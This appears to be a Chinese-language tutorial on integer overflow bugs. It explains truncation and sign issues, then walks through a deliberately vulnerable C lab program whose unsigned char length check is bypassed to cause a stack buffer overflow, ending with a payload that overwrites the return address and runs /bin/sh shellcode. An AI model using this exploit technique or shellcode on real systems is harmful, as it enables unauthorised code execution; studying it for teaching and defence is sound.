漏洞介绍
整数就是没有小数的数字
在计算机中。有符号数用二进制表示。表示负数的时候。将二进制最高为来表示数字的符号,最高为是1就是负数。最高位是0就表是正数
当然。还有无符号数。也就是没有负数。
当我们尝试将一个数字范围为0-255的数字。
输入256时。就会溢出。返回0
输入257时。返回1
当有符号数溢出时。会从最小的值开始,-xxxxx然后依次+1
以下是各类符号范围大小
漏洞危害
1:
数据截断
当发生溢出时。数据会被截断。
a\b\r为3个8位无符号整数。范围大小为0-255
a=11111111
b=00000001
r=a+b=100000000
由于a和b相加的值超出了8位。发生溢出。截取8位。r就变成了0
2:
宽度溢出
当一个较小宽度的操作数被提升到了较大操作数一样的宽度。然后进行计算。如果计算结果放在较小宽度那里
那么长度就会被截断为较小宽度。比如一个32位的运算结果。放到了16位寄存器。那么就会取后16位
3:
改变符号
有符号整数溢出时。就会改变正负。
0x7fffffff+1=0x80000000=-2147483648
4:
无符号与有符号转换
将有符号数赋给无符号数后。会从-1变成无符号数的最大数
当把无符号数赋给有符号数,会从无符号数最大数变成-1
实验
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char* passwd) {
}
void validate_uname(char* uname) {
}
void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ 判断长度。整数溢出绕过
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */ 261个字符拷贝到11字节大小的数组
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
}
int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}
首先无符号char类型。0-255
然后判断输入4<=8<=
那么输入260<=x<=264即可绕过
输入261.长度为5.就可以绕过
然后将261个字节拷贝到11字节大小的数组里
溢出了。然后用pattern测下偏移
思路就是:24字节+shellcode地址+shellcode+填充
`python -c 'print "A"*24+"BBBB"+"C"*(261-24-4)'`
输入24个A+4个B+C*填充
我们来看下堆栈分配
在堆栈中可以看出。0xffffcf6c就是EIP。我们将其覆盖为shellcode的地址。然后执行到这串代码时。就会跳转到shellcode地址。从而执行shellcode
0xffffcf70为shellcode地址
payload如下:
"A"24+"\x70\xcf\xff\xff"+"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"+"C"(261-44-24-4)
成功getshell